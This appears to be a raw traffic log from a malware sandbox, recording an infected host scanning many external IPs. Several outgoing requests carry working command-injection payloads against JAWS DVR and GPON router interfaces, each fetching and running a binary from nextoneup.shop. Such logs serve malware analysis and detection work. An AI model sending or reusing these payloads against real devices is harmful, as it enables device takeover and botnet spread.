Apr 14, 2024 04:01:38.297524929 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2036	192.168.2.13	60298	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:38.329061031 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2037	192.168.2.13	60308	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:38.657630920 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2038	192.168.2.13	60316	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:38.969208002 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2039	192.168.2.13	60318	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.000569105 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2040	192.168.2.13	40790	64.68.101.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.174627066 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2041	192.168.2.13	34712	108.59.247.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.212023020 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.457858086 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Sun, 14 Apr 2024 01:50:17 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed,
Apr 14, 2024 04:01:39.457895994 CEST	117	IN	Data Raw: 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 Data Ascii: had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2042	192.168.2.13	39580	5.196.251.0	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.267832994 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.572628021 CEST	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:39 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2043	192.168.2.13	60330	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.299956083 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:42Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2044	192.168.2.13	42256	5.13.252.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.306701899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2045	192.168.2.13	54688	42.83.53.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.306715965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2046	192.168.2.13	59230	94.218.68.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.306755066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2047	192.168.2.13	43998	117.79.2.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.306883097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2048	192.168.2.13	50050	178.239.36.76	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.307272911 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:40.968310118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.920334101 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.856204033 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.792223930 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2049	192.168.2.13	44336	207.60.38.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.336822033 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.507685900 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:39 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2050	192.168.2.13	39836	72.10.161.193	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:39.453993082 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:39.701244116 CEST	1289	IN	HTTP/1.1 403 Forbidden Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Sun, 14 Apr 2024 02:01:39 GMT server: LiteSpeed Data Raw: 32 37 36 34 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: 2764<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>403 Forbidden</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { 